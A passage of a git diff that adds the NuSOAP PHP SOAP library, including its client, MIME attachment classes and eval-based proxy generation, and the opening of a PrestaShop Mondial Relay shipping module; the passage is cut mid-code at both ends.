$this->debug("wrapping RPC request with encoded method element"); + if ($namespace) { + $payload = "<$nsPrefix:$operation xmlns:$nsPrefix=\"$namespace\">" . + $payload . + ""; + } else { + $payload = "<$operation>" . + $payload . + ""; + } + } + } + // serialize envelope + $soapmsg = $this->serializeEnvelope($payload,$this->requestHeaders,$usedNamespaces,$style,$use,$encodingStyle); + $this->debug("endpoint=$this->endpoint, soapAction=$soapAction, namespace=$namespace, style=$style, use=$use, encodingStyle=$encodingStyle"); + $this->debug('SOAP message length=' . strlen($soapmsg) . ' contents (max 1000 bytes)=' . substr($soapmsg, 0, 1000)); + // send + $return = $this->send($this->getHTTPBody($soapmsg),$soapAction,$this->timeout,$this->response_timeout); + if($errstr = $this->getError()){ + $this->debug('Error: '.$errstr); + return false; + } else { + $this->return = $return; + $this->debug('sent message successfully and got a(n) '.gettype($return)); + $this->appendDebug('return=' . $this->varDump($return)); + + // fault? + if(is_array($return) && isset($return['faultcode'])){ + $this->debug('got fault'); + $this->setError($return['faultcode'].': '.$return['faultstring']); + $this->fault = true; + foreach($return as $k => $v){ + $this->$k = $v; + $this->debug("$k = $v
        "); + } + return $return; + } elseif ($style == 'document') { + // NOTE: if the response is defined to have multiple parts (i.e. unwrapped), + // we are only going to return the first part here...sorry about that + return $return; + } else { + // array of return values + if(is_array($return)){ + // multiple 'out' parameters, which we return wrapped up + // in the array + if(sizeof($return) > 1){ + return $return; + } + // single 'out' parameter (normally the return value) + $return = array_shift($return); + $this->debug('return shifted value: '); + $this->appendDebug($this->varDump($return)); + return $return; + // nothing returned (ie, echoVoid) + } else { + return ""; + } + } + } + } + + /** + * check WSDL passed as an instance or pulled from an endpoint + * + * @access private + */ + function checkWSDL() { + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + $this->debug('checkWSDL'); + // catch errors + if ($errstr = $this->wsdl->getError()) { + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + $this->debug('got wsdl error: '.$errstr); + $this->setError('wsdl error: '.$errstr); + } elseif ($this->operations = $this->wsdl->getOperations($this->portName, 'soap')) { + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + $this->bindingType = 'soap'; + $this->debug('got '.count($this->operations).' operations from wsdl '.$this->wsdlFile.' for binding type '.$this->bindingType); + } elseif ($this->operations = $this->wsdl->getOperations($this->portName, 'soap12')) { + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + $this->bindingType = 'soap12'; + $this->debug('got '.count($this->operations).' operations from wsdl '.$this->wsdlFile.' for binding type '.$this->bindingType); + $this->debug('**************** WARNING: SOAP 1.2 BINDING *****************'); + } else { + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + $this->debug('getOperations returned false'); + $this->setError('no operations defined in the WSDL document!'); + } + } + + /** + * instantiate wsdl object and parse wsdl file + * + * @access public + */ + function loadWSDL() { + $this->debug('instantiating wsdl class with doc: '.$this->wsdlFile); + $this->wsdl = new wsdl('',$this->proxyhost,$this->proxyport,$this->proxyusername,$this->proxypassword,$this->timeout,$this->response_timeout,$this->curl_options,$this->use_curl); + $this->wsdl->setCredentials($this->username, $this->password, $this->authtype, $this->certRequest); + $this->wsdl->fetchWSDL($this->wsdlFile); + $this->checkWSDL(); + } + + /** + * get available data pertaining to an operation + * + * @param string $operation operation name + * @return array array of data pertaining to the operation + * @access public + */ + function getOperationData($operation){ + if ($this->endpointType == 'wsdl' && is_null($this->wsdl)) { + $this->loadWSDL(); + if ($this->getError()) + return false; + } + if(isset($this->operations[$operation])){ + return $this->operations[$operation]; + } + $this->debug("No data for operation: $operation"); + } + + /** + * send the SOAP message + * + * Note: if the operation has multiple return values + * the return value of this method will be an array + * of those values. + * + * @param string $msg a SOAPx4 soapmsg object + * @param string $soapaction SOAPAction value + * @param integer $timeout set connection timeout in seconds + * @param integer $response_timeout set response timeout in seconds + * @return mixed native PHP types. + * @access private + */ + function send($msg, $soapaction = '', $timeout=0, $response_timeout=30) { + $this->checkCookies(); + // detect transport + switch(true){ + // http(s) + case preg_match('/^http/',$this->endpoint): + $this->debug('transporting via HTTP'); + if($this->persistentConnection == true && is_object($this->persistentConnection)){ + $http =& $this->persistentConnection; + } else { + $http = new soap_transport_http($this->endpoint, $this->curl_options, $this->use_curl); + if ($this->persistentConnection) { + $http->usePersistentConnection(); + } + } + $http->setContentType($this->getHTTPContentType(), $this->getHTTPContentTypeCharset()); + $http->setSOAPAction($soapaction); + if($this->proxyhost && $this->proxyport){ + $http->setProxy($this->proxyhost,$this->proxyport,$this->proxyusername,$this->proxypassword); + } + if($this->authtype != '') { + $http->setCredentials($this->username, $this->password, $this->authtype, array(), $this->certRequest); + } + if($this->http_encoding != ''){ + $http->setEncoding($this->http_encoding); + } + $this->debug('sending message, length='.strlen($msg)); + if(preg_match('/^http:/',$this->endpoint)){ + //if(strpos($this->endpoint,'http:')){ + $this->responseData = $http->send($msg,$timeout,$response_timeout,$this->cookies); + } elseif(preg_match('/^https/',$this->endpoint)){ + //} elseif(strpos($this->endpoint,'https:')){ + //if(phpversion() == '4.3.0-dev'){ + //$response = $http->send($msg,$timeout,$response_timeout); + //$this->request = $http->outgoing_payload; + //$this->response = $http->incoming_payload; + //} else + $this->responseData = $http->sendHTTPS($msg,$timeout,$response_timeout,$this->cookies); + } else { + $this->setError('no http/s in endpoint url'); + } + $this->request = $http->outgoing_payload; + $this->response = $http->incoming_payload; + $this->appendDebug($http->getDebug()); + $this->UpdateCookies($http->incoming_cookies); + + // save transport object if using persistent connections + if ($this->persistentConnection) { + $http->clearDebug(); + if (!is_object($this->persistentConnection)) { + $this->persistentConnection = $http; + } + } + + if($err = $http->getError()){ + $this->setError('HTTP Error: '.$err); + return false; + } elseif($this->getError()){ + return false; + } else { + $this->debug('got response, length='. strlen($this->responseData).' type='.$http->incoming_headers['content-type']); + return $this->parseResponse($http->incoming_headers, $this->responseData); + } + break; + default: + $this->setError('no transport found, or selected transport is not yet supported!'); + return false; + break; + } + } + + /** + * processes SOAP message returned from server + * + * @param array $headers The HTTP headers + * @param string $data unprocessed response data from server + * @return mixed value of the message, decoded into a PHP type + * @access private + */ + function parseResponse($headers, $data) { + $this->debug('Entering parseResponse() for data of length ' . strlen($data) . ' headers:'); + $this->appendDebug($this->varDump($headers)); + if (!isset($headers['content-type'])) { + $this->setError('Response not of type text/xml (no content-type header)'); + return false; + } + if (!strstr($headers['content-type'], 'text/xml')) { + $this->setError('Response not of type text/xml: ' . $headers['content-type']); + return false; + } + if (strpos($headers['content-type'], '=')) { + $enc = str_replace('"', '', substr(strstr($headers["content-type"], '='), 1)); + $this->debug('Got response encoding: ' . $enc); + if(preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)){ + $this->xml_encoding = strtoupper($enc); + } else { + $this->xml_encoding = 'US-ASCII'; + } + } else { + // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 + $this->xml_encoding = 'ISO-8859-1'; + } + $this->debug('Use encoding: ' . $this->xml_encoding . ' when creating nusoap_parser'); + $parser = new nusoap_parser($data,$this->xml_encoding,$this->operation,$this->decode_utf8); + // add parser debug data to our debug + $this->appendDebug($parser->getDebug()); + // if parse errors + if($errstr = $parser->getError()){ + $this->setError( $errstr); + // destroy the parser object + unset($parser); + return false; + } else { + // get SOAP headers + $this->responseHeaders = $parser->getHeaders(); + // get SOAP headers + $this->responseHeader = $parser->get_soapheader(); + // get decoded message + $return = $parser->get_soapbody(); + // add document for doclit support + $this->document = $parser->document; + // destroy the parser object + unset($parser); + // return decode message + return $return; + } + } + + /** + * sets user-specified cURL options + * + * @param mixed $option The cURL option (always integer?) + * @param mixed $value The cURL option value + * @access public + */ + function setCurlOption($option, $value) { + $this->debug("setCurlOption option=$option, value="); + $this->appendDebug($this->varDump($value)); + $this->curl_options[$option] = $value; + } + + /** + * sets the SOAP endpoint, which can override WSDL + * + * @param string $endpoint The endpoint URL to use, or empty string or false to prevent override + * @access public + */ + function setEndpoint($endpoint) { + $this->debug("setEndpoint(\"$endpoint\")"); + $this->forceEndpoint = $endpoint; + } + + /** + * set the SOAP headers + * + * @param mixed $headers String of XML with SOAP header content, or array of soapval objects for SOAP headers + * @access public + */ + function setHeaders($headers){ + $this->debug("setHeaders headers="); + $this->appendDebug($this->varDump($headers)); + $this->requestHeaders = $headers; + } + + /** + * get the SOAP response headers (namespace resolution incomplete) + * + * @return string + * @access public + */ + function getHeaders(){ + return $this->responseHeaders; + } + + /** + * get the SOAP response Header (parsed) + * + * @return mixed + * @access public + */ + function getHeader(){ + return $this->responseHeader; + } + + /** + * set proxy info here + * + * @param string $proxyhost + * @param string $proxyport + * @param string $proxyusername + * @param string $proxypassword + * @access public + */ + function setHTTPProxy($proxyhost, $proxyport, $proxyusername = '', $proxypassword = '') { + $this->proxyhost = $proxyhost; + $this->proxyport = $proxyport; + $this->proxyusername = $proxyusername; + $this->proxypassword = $proxypassword; + } + + /** + * if authenticating, set user credentials here + * + * @param string $username + * @param string $password + * @param string $authtype (basic|digest|certificate|ntlm) + * @param array $certRequest (keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, verifypeer (optional), verifyhost (optional): see corresponding options in cURL docs) + * @access public + */ + function setCredentials($username, $password, $authtype = 'basic', $certRequest = array()) { + $this->debug("setCredentials username=$username authtype=$authtype certRequest="); + $this->appendDebug($this->varDump($certRequest)); + $this->username = $username; + $this->password = $password; + $this->authtype = $authtype; + $this->certRequest = $certRequest; + } + + /** + * use HTTP encoding + * + * @param string $enc HTTP encoding + * @access public + */ + function setHTTPEncoding($enc='gzip, deflate'){ + $this->debug("setHTTPEncoding(\"$enc\")"); + $this->http_encoding = $enc; + } + + /** + * Set whether to try to use cURL connections if possible + * + * @param boolean $use Whether to try to use cURL + * @access public + */ + function setUseCURL($use) { + $this->debug("setUseCURL($use)"); + $this->use_curl = $use; + } + + /** + * use HTTP persistent connections if possible + * + * @access public + */ + function useHTTPPersistentConnection(){ + $this->debug("useHTTPPersistentConnection"); + $this->persistentConnection = true; + } + + /** + * gets the default RPC parameter setting. + * If true, default is that call params are like RPC even for document style. + * Each call() can override this value. + * + * This is no longer used. + * + * @return boolean + * @access public + * @deprecated + */ + function getDefaultRpcParams() { + return $this->defaultRpcParams; + } + + /** + * sets the default RPC parameter setting. + * If true, default is that call params are like RPC even for document style + * Each call() can override this value. + * + * This is no longer used. + * + * @param boolean $rpcParams + * @access public + * @deprecated + */ + function setDefaultRpcParams($rpcParams) { + $this->defaultRpcParams = $rpcParams; + } + + /** + * dynamically creates an instance of a proxy class, + * allowing user to directly call methods from wsdl + * + * @return object soap_proxy object + * @access public + */ + function getProxy() { + $r = rand(); + $evalStr = $this->_getProxyClassCode($r); + //$this->debug("proxy class: $evalStr"); + if ($this->getError()) { + $this->debug("Error from _getProxyClassCode, so return NULL"); + return null; + } + // eval the class + eval($evalStr); + // instantiate proxy object + eval("\$proxy = new nusoap_proxy_$r('');"); + // transfer current wsdl data to the proxy thereby avoiding parsing the wsdl twice + $proxy->endpointType = 'wsdl'; + $proxy->wsdlFile = $this->wsdlFile; + $proxy->wsdl = $this->wsdl; + $proxy->operations = $this->operations; + $proxy->defaultRpcParams = $this->defaultRpcParams; + // transfer other state + $proxy->soap_defencoding = $this->soap_defencoding; + $proxy->username = $this->username; + $proxy->password = $this->password; + $proxy->authtype = $this->authtype; + $proxy->certRequest = $this->certRequest; + $proxy->requestHeaders = $this->requestHeaders; + $proxy->endpoint = $this->endpoint; + $proxy->forceEndpoint = $this->forceEndpoint; + $proxy->proxyhost = $this->proxyhost; + $proxy->proxyport = $this->proxyport; + $proxy->proxyusername = $this->proxyusername; + $proxy->proxypassword = $this->proxypassword; + $proxy->http_encoding = $this->http_encoding; + $proxy->timeout = $this->timeout; + $proxy->response_timeout = $this->response_timeout; + $proxy->persistentConnection = &$this->persistentConnection; + $proxy->decode_utf8 = $this->decode_utf8; + $proxy->curl_options = $this->curl_options; + $proxy->bindingType = $this->bindingType; + $proxy->use_curl = $this->use_curl; + return $proxy; + } + + /** + * dynamically creates proxy class code + * + * @return string PHP/NuSOAP code for the proxy class + * @access private + */ + function _getProxyClassCode($r) { + $this->debug("in getProxy endpointType=$this->endpointType"); + $this->appendDebug("wsdl=" . $this->varDump($this->wsdl)); + if ($this->endpointType != 'wsdl') { + $evalStr = 'A proxy can only be created for a WSDL client'; + $this->setError($evalStr); + $evalStr = "echo \"$evalStr\";"; + return $evalStr; + } + if ($this->endpointType == 'wsdl' && is_null($this->wsdl)) { + $this->loadWSDL(); + if ($this->getError()) { + return "echo \"" . $this->getError() . "\";"; + } + } + $evalStr = ''; + foreach ($this->operations as $operation => $opData) { + if ($operation != '') { + // create param string and param comment string + if (sizeof($opData['input']['parts']) > 0) { + $paramStr = ''; + $paramArrayStr = ''; + $paramCommentStr = ''; + foreach ($opData['input']['parts'] as $name => $type) { + $paramStr .= "\$$name, "; + $paramArrayStr .= "'$name' => \$$name, "; + $paramCommentStr .= "$type \$$name, "; + } + $paramStr = substr($paramStr, 0, strlen($paramStr)-2); + $paramArrayStr = substr($paramArrayStr, 0, strlen($paramArrayStr)-2); + $paramCommentStr = substr($paramCommentStr, 0, strlen($paramCommentStr)-2); + } else { + $paramStr = ''; + $paramArrayStr = ''; + $paramCommentStr = 'void'; + } + $opData['namespace'] = !isset($opData['namespace']) ? 'http://testuri.com' : $opData['namespace']; + $evalStr .= "// $paramCommentStr + function " . str_replace('.', '__', $operation) . "($paramStr) { + \$params = array($paramArrayStr); + return \$this->call('$operation', \$params, '".$opData['namespace']."', '".(isset($opData['soapAction']) ? $opData['soapAction'] : '')."'); + } + "; + unset($paramStr); + unset($paramCommentStr); + } + } + $evalStr = 'class nusoap_proxy_'.$r.' extends nusoap_client { + '.$evalStr.' +}'; + return $evalStr; + } + + /** + * dynamically creates proxy class code + * + * @return string PHP/NuSOAP code for the proxy class + * @access public + */ + function getProxyClassCode() { + $r = rand(); + return $this->_getProxyClassCode($r); + } + + /** + * gets the HTTP body for the current request. + * + * @param string $soapmsg The SOAP payload + * @return string The HTTP body, which includes the SOAP payload + * @access private + */ + function getHTTPBody($soapmsg) { + return $soapmsg; + } + + /** + * gets the HTTP content type for the current request. + * + * Note: getHTTPBody must be called before this. + * + * @return string the HTTP content type for the current request. + * @access private + */ + function getHTTPContentType() { + return 'text/xml'; + } + + /** + * gets the HTTP content type charset for the current request. + * returns false for non-text content types. + * + * Note: getHTTPBody must be called before this. + * + * @return string the HTTP content type charset for the current request. + * @access private + */ + function getHTTPContentTypeCharset() { + return $this->soap_defencoding; + } + + /* + * whether or not parser should decode utf8 element content + * + * @return always returns true + * @access public + */ + function decodeUTF8($bool){ + $this->decode_utf8 = $bool; + return true; + } + + /** + * adds a new Cookie into $this->cookies array + * + * @param string $name Cookie Name + * @param string $value Cookie Value + * @return boolean if cookie-set was successful returns true, else false + * @access public + */ + function setCookie($name, $value) { + if (strlen($name) == 0) { + return false; + } + $this->cookies[] = array('name' => $name, 'value' => $value); + return true; + } + + /** + * gets all Cookies + * + * @return array with all internal cookies + * @access public + */ + function getCookies() { + return $this->cookies; + } + + /** + * checks all Cookies and delete those which are expired + * + * @return boolean always return true + * @access private + */ + function checkCookies() { + if (sizeof($this->cookies) == 0) { + return true; + } + $this->debug('checkCookie: check ' . sizeof($this->cookies) . ' cookies'); + $curr_cookies = $this->cookies; + $this->cookies = array(); + foreach ($curr_cookies as $cookie) { + if (! is_array($cookie)) { + $this->debug('Remove cookie that is not an array'); + continue; + } + if ((isset($cookie['expires'])) && (! empty($cookie['expires']))) { + if (strtotime($cookie['expires']) > time()) { + $this->cookies[] = $cookie; + } else { + $this->debug('Remove expired cookie ' . $cookie['name']); + } + } else { + $this->cookies[] = $cookie; + } + } + $this->debug('checkCookie: '.sizeof($this->cookies).' cookies left in array'); + return true; + } + + /** + * updates the current cookies with a new set + * + * @param array $cookies new cookies with which to update current ones + * @return boolean always return true + * @access private + */ + function UpdateCookies($cookies) { + if (sizeof($this->cookies) == 0) { + // no existing cookies: take whatever is new + if (sizeof($cookies) > 0) { + $this->debug('Setting new cookie(s)'); + $this->cookies = $cookies; + } + return true; + } + if (sizeof($cookies) == 0) { + // no new cookies: keep what we've got + return true; + } + // merge + foreach ($cookies as $newCookie) { + if (!is_array($newCookie)) { + continue; + } + if ((!isset($newCookie['name'])) || (!isset($newCookie['value']))) { + continue; + } + $newName = $newCookie['name']; + + $found = false; + for ($i = 0; $i < count($this->cookies); $i++) { + $cookie = $this->cookies[$i]; + if (!is_array($cookie)) { + continue; + } + if (!isset($cookie['name'])) { + continue; + } + if ($newName != $cookie['name']) { + continue; + } + $newDomain = isset($newCookie['domain']) ? $newCookie['domain'] : 'NODOMAIN'; + $domain = isset($cookie['domain']) ? $cookie['domain'] : 'NODOMAIN'; + if ($newDomain != $domain) { + continue; + } + $newPath = isset($newCookie['path']) ? $newCookie['path'] : 'NOPATH'; + $path = isset($cookie['path']) ? $cookie['path'] : 'NOPATH'; + if ($newPath != $path) { + continue; + } + $this->cookies[$i] = $newCookie; + $found = true; + $this->debug('Update cookie ' . $newName . '=' . $newCookie['value']); + break; + } + if (! $found) { + $this->debug('Add cookie ' . $newName . '=' . $newCookie['value']); + $this->cookies[] = $newCookie; + } + } + return true; + } +} + +if (!extension_loaded('soap')) { + /** + * For backwards compatiblity, define soapclient unless the PHP SOAP extension is loaded. + */ + class soapclient extends nusoap_client { + } +} +?> diff --git a/modules/mondialrelay2/lib/nusoap/nusoapmime.php b/modules/mondialrelay2/lib/nusoap/nusoapmime.php new file mode 100755 index 0000000..99a9ef3 --- /dev/null +++ b/modules/mondialrelay2/lib/nusoap/nusoapmime.php @@ -0,0 +1,501 @@ + +* @author Thanks to Guillaume and Henning Reich for posting great attachment code to the mail list +* @version $Id$ +* @access public +*/ +class nusoap_client_mime extends nusoap_client { + /** + * @var array Each array element in the return is an associative array with keys + * data, filename, contenttype, cid + * @access private + */ + var $requestAttachments = array(); + /** + * @var array Each array element in the return is an associative array with keys + * data, filename, contenttype, cid + * @access private + */ + var $responseAttachments; + /** + * @var string + * @access private + */ + var $mimeContentType; + + /** + * adds a MIME attachment to the current request. + * + * If the $data parameter contains an empty string, this method will read + * the contents of the file named by the $filename parameter. + * + * If the $cid parameter is false, this method will generate the cid. + * + * @param string $data The data of the attachment + * @param string $filename The filename of the attachment (default is empty string) + * @param string $contenttype The MIME Content-Type of the attachment (default is application/octet-stream) + * @param string $cid The content-id (cid) of the attachment (default is false) + * @return string The content-id (cid) of the attachment + * @access public + */ + function addAttachment($data, $filename = '', $contenttype = 'application/octet-stream', $cid = false) { + if (! $cid) { + $cid = md5(uniqid(time())); + } + + $info['data'] = $data; + $info['filename'] = $filename; + $info['contenttype'] = $contenttype; + $info['cid'] = $cid; + + $this->requestAttachments[] = $info; + + return $cid; + } + + /** + * clears the MIME attachments for the current request. + * + * @access public + */ + function clearAttachments() { + $this->requestAttachments = array(); + } + + /** + * gets the MIME attachments from the current response. + * + * Each array element in the return is an associative array with keys + * data, filename, contenttype, cid. These keys correspond to the parameters + * for addAttachment. + * + * @return array The attachments. + * @access public + */ + function getAttachments() { + return $this->responseAttachments; + } + + /** + * gets the HTTP body for the current request. + * + * @param string $soapmsg The SOAP payload + * @return string The HTTP body, which includes the SOAP payload + * @access private + */ + function getHTTPBody($soapmsg) { + if (count($this->requestAttachments) > 0) { + $params['content_type'] = 'multipart/related; type="text/xml"'; + $mimeMessage = new Mail_mimePart('', $params); + unset($params); + + $params['content_type'] = 'text/xml'; + $params['encoding'] = '8bit'; + $params['charset'] = $this->soap_defencoding; + $mimeMessage->addSubpart($soapmsg, $params); + + foreach ($this->requestAttachments as $att) { + unset($params); + + $params['content_type'] = $att['contenttype']; + $params['encoding'] = 'base64'; + $params['disposition'] = 'attachment'; + $params['dfilename'] = $att['filename']; + $params['cid'] = $att['cid']; + + if ($att['data'] == '' && $att['filename'] <> '') { + if ($fd = fopen($att['filename'], 'rb')) { + $data = fread($fd, filesize($att['filename'])); + fclose($fd); + } else { + $data = ''; + } + $mimeMessage->addSubpart($data, $params); + } else { + $mimeMessage->addSubpart($att['data'], $params); + } + } + + $output = $mimeMessage->encode(); + $mimeHeaders = $output['headers']; + + foreach ($mimeHeaders as $k => $v) { + $this->debug("MIME header $k: $v"); + if (strtolower($k) == 'content-type') { + // PHP header() seems to strip leading whitespace starting + // the second line, so force everything to one line + $this->mimeContentType = str_replace("\r\n", " ", $v); + } + } + + return $output['body']; + } + + return parent::getHTTPBody($soapmsg); + } + + /** + * gets the HTTP content type for the current request. + * + * Note: getHTTPBody must be called before this. + * + * @return string the HTTP content type for the current request. + * @access private + */ + function getHTTPContentType() { + if (count($this->requestAttachments) > 0) { + return $this->mimeContentType; + } + return parent::getHTTPContentType(); + } + + /** + * gets the HTTP content type charset for the current request. + * returns false for non-text content types. + * + * Note: getHTTPBody must be called before this. + * + * @return string the HTTP content type charset for the current request. + * @access private + */ + function getHTTPContentTypeCharset() { + if (count($this->requestAttachments) > 0) { + return false; + } + return parent::getHTTPContentTypeCharset(); + } + + /** + * processes SOAP message returned from server + * + * @param array $headers The HTTP headers + * @param string $data unprocessed response data from server + * @return mixed value of the message, decoded into a PHP type + * @access private + */ + function parseResponse($headers, $data) { + $this->debug('Entering parseResponse() for payload of length ' . strlen($data) . ' and type of ' . $headers['content-type']); + $this->responseAttachments = array(); + if (strstr($headers['content-type'], 'multipart/related')) { + $this->debug('Decode multipart/related'); + $input = ''; + foreach ($headers as $k => $v) { + $input .= "$k: $v\r\n"; + } + $params['input'] = $input . "\r\n" . $data; + $params['include_bodies'] = true; + $params['decode_bodies'] = true; + $params['decode_headers'] = true; + + $structure = Mail_mimeDecode::decode($params); + + foreach ($structure->parts as $part) { + if (!isset($part->disposition) && (strstr($part->headers['content-type'], 'text/xml'))) { + $this->debug('Have root part of type ' . $part->headers['content-type']); + $root = $part->body; + $return = parent::parseResponse($part->headers, $part->body); + } else { + $this->debug('Have an attachment of type ' . $part->headers['content-type']); + $info['data'] = $part->body; + $info['filename'] = isset($part->d_parameters['filename']) ? $part->d_parameters['filename'] : ''; + $info['contenttype'] = $part->headers['content-type']; + $info['cid'] = $part->headers['content-id']; + $this->responseAttachments[] = $info; + } + } + + if (isset($return)) { + $this->responseData = $root; + return $return; + } + + $this->setError('No root part found in multipart/related content'); + return ''; + } + $this->debug('Not multipart/related'); + return parent::parseResponse($headers, $data); + } +} + +/* + * For backwards compatiblity, define soapclientmime unless the PHP SOAP extension is loaded. + */ +if (!extension_loaded('soap')) { + class soapclientmime extends nusoap_client_mime { + } +} + +/** +* nusoap_server_mime server supporting MIME attachments defined at +* http://www.w3.org/TR/SOAP-attachments. It depends on the PEAR Mail_MIME library. +* +* @author Scott Nichol +* @author Thanks to Guillaume and Henning Reich for posting great attachment code to the mail list +* @version $Id$ +* @access public +*/ +class nusoap_server_mime extends nusoap_server { + /** + * @var array Each array element in the return is an associative array with keys + * data, filename, contenttype, cid + * @access private + */ + var $requestAttachments = array(); + /** + * @var array Each array element in the return is an associative array with keys + * data, filename, contenttype, cid + * @access private + */ + var $responseAttachments; + /** + * @var string + * @access private + */ + var $mimeContentType; + + /** + * adds a MIME attachment to the current response. + * + * If the $data parameter contains an empty string, this method will read + * the contents of the file named by the $filename parameter. + * + * If the $cid parameter is false, this method will generate the cid. + * + * @param string $data The data of the attachment + * @param string $filename The filename of the attachment (default is empty string) + * @param string $contenttype The MIME Content-Type of the attachment (default is application/octet-stream) + * @param string $cid The content-id (cid) of the attachment (default is false) + * @return string The content-id (cid) of the attachment + * @access public + */ + function addAttachment($data, $filename = '', $contenttype = 'application/octet-stream', $cid = false) { + if (! $cid) { + $cid = md5(uniqid(time())); + } + + $info['data'] = $data; + $info['filename'] = $filename; + $info['contenttype'] = $contenttype; + $info['cid'] = $cid; + + $this->responseAttachments[] = $info; + + return $cid; + } + + /** + * clears the MIME attachments for the current response. + * + * @access public + */ + function clearAttachments() { + $this->responseAttachments = array(); + } + + /** + * gets the MIME attachments from the current request. + * + * Each array element in the return is an associative array with keys + * data, filename, contenttype, cid. These keys correspond to the parameters + * for addAttachment. + * + * @return array The attachments. + * @access public + */ + function getAttachments() { + return $this->requestAttachments; + } + + /** + * gets the HTTP body for the current response. + * + * @param string $soapmsg The SOAP payload + * @return string The HTTP body, which includes the SOAP payload + * @access private + */ + function getHTTPBody($soapmsg) { + if (count($this->responseAttachments) > 0) { + $params['content_type'] = 'multipart/related; type="text/xml"'; + $mimeMessage = new Mail_mimePart('', $params); + unset($params); + + $params['content_type'] = 'text/xml'; + $params['encoding'] = '8bit'; + $params['charset'] = $this->soap_defencoding; + $mimeMessage->addSubpart($soapmsg, $params); + + foreach ($this->responseAttachments as $att) { + unset($params); + + $params['content_type'] = $att['contenttype']; + $params['encoding'] = 'base64'; + $params['disposition'] = 'attachment'; + $params['dfilename'] = $att['filename']; + $params['cid'] = $att['cid']; + + if ($att['data'] == '' && $att['filename'] <> '') { + if ($fd = fopen($att['filename'], 'rb')) { + $data = fread($fd, filesize($att['filename'])); + fclose($fd); + } else { + $data = ''; + } + $mimeMessage->addSubpart($data, $params); + } else { + $mimeMessage->addSubpart($att['data'], $params); + } + } + + $output = $mimeMessage->encode(); + $mimeHeaders = $output['headers']; + + foreach ($mimeHeaders as $k => $v) { + $this->debug("MIME header $k: $v"); + if (strtolower($k) == 'content-type') { + // PHP header() seems to strip leading whitespace starting + // the second line, so force everything to one line + $this->mimeContentType = str_replace("\r\n", " ", $v); + } + } + + return $output['body']; + } + + return parent::getHTTPBody($soapmsg); + } + + /** + * gets the HTTP content type for the current response. + * + * Note: getHTTPBody must be called before this. + * + * @return string the HTTP content type for the current response. + * @access private + */ + function getHTTPContentType() { + if (count($this->responseAttachments) > 0) { + return $this->mimeContentType; + } + return parent::getHTTPContentType(); + } + + /** + * gets the HTTP content type charset for the current response. + * returns false for non-text content types. + * + * Note: getHTTPBody must be called before this. + * + * @return string the HTTP content type charset for the current response. + * @access private + */ + function getHTTPContentTypeCharset() { + if (count($this->responseAttachments) > 0) { + return false; + } + return parent::getHTTPContentTypeCharset(); + } + + /** + * processes SOAP message received from client + * + * @param array $headers The HTTP headers + * @param string $data unprocessed request data from client + * @return mixed value of the message, decoded into a PHP type + * @access private + */ + function parseRequest($headers, $data) { + $this->debug('Entering parseRequest() for payload of length ' . strlen($data) . ' and type of ' . $headers['content-type']); + $this->requestAttachments = array(); + if (strstr($headers['content-type'], 'multipart/related')) { + $this->debug('Decode multipart/related'); + $input = ''; + foreach ($headers as $k => $v) { + $input .= "$k: $v\r\n"; + } + $params['input'] = $input . "\r\n" . $data; + $params['include_bodies'] = true; + $params['decode_bodies'] = true; + $params['decode_headers'] = true; + + $structure = Mail_mimeDecode::decode($params); + + foreach ($structure->parts as $part) { + if (!isset($part->disposition) && (strstr($part->headers['content-type'], 'text/xml'))) { + $this->debug('Have root part of type ' . $part->headers['content-type']); + $return = parent::parseRequest($part->headers, $part->body); + } else { + $this->debug('Have an attachment of type ' . $part->headers['content-type']); + $info['data'] = $part->body; + $info['filename'] = isset($part->d_parameters['filename']) ? $part->d_parameters['filename'] : ''; + $info['contenttype'] = $part->headers['content-type']; + $info['cid'] = $part->headers['content-id']; + $this->requestAttachments[] = $info; + } + } + + if (isset($return)) { + return $return; + } + + $this->setError('No root part found in multipart/related content'); + return; + } + $this->debug('Not multipart/related'); + return parent::parseRequest($headers, $data); + } +} + +/* + * For backwards compatiblity + */ +class nusoapservermime extends nusoap_server_mime { +} + +?> diff --git a/modules/mondialrelay2/logo.gif b/modules/mondialrelay2/logo.gif new file mode 100755 index 0000000..06f8471 Binary files /dev/null and b/modules/mondialrelay2/logo.gif differ diff --git a/modules/mondialrelay2/logo.png b/modules/mondialrelay2/logo.png new file mode 100755 index 0000000..56a3ec7 Binary files /dev/null and b/modules/mondialrelay2/logo.png differ diff --git a/modules/mondialrelay2/logo_hd.png b/modules/mondialrelay2/logo_hd.png new file mode 100755 index 0000000..e919c70 Binary files /dev/null and b/modules/mondialrelay2/logo_hd.png differ diff --git a/modules/mondialrelay2/mondialrelay.php b/modules/mondialrelay2/mondialrelay.php new file mode 100755 index 0000000..f238841 --- /dev/null +++ b/modules/mondialrelay2/mondialrelay.php @@ -0,0 +1,1158 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +require_once(_PS_MODULE_DIR_.'mondialrelay/classes/MRTools.php'); + +class MondialRelay extends Module +{ + const INSTALL_SQL_FILE = 'sql/mrInstall.sql'; + + private $_postErrors; + + public static $modulePath = ''; + public static $moduleURL = ''; + static public $MRFrontToken = ''; + static public $MRBackToken = ''; + + // Added for 1.3 compatibility + const ONLY_PRODUCTS = 1; + const ONLY_DISCOUNTS = 2; + const BOTH = 3; + const BOTH_WITHOUT_SHIPPING = 4; + const ONLY_SHIPPING = 5; + const ONLY_WRAPPING = 6; + const ONLY_PRODUCTS_WITHOUT_SHIPPING = 7; + + // SQL FILTER ORDER + const NO_FILTER = 0; + const WITHOUT_HOME_DELIVERY = 1; + + // Contains the details of the current shop used + public $account_shop = array( + 'MR_ENSEIGNE_WEBSERVICE' => '', + 'MR_CODE_MARQUE' => '', + 'MR_KEY_WEBSERVICE' => '', + 'MR_LANGUAGE' => '', + 'MR_WEIGHT_COEFFICIENT' => '', + 'MR_ORDER_STATE' => 3, + 'id_shop' => 1 + ); + + public $upgrade_detail = array(); + + public function __construct() + { + $this->name = 'mondialrelay'; + $this->tab = 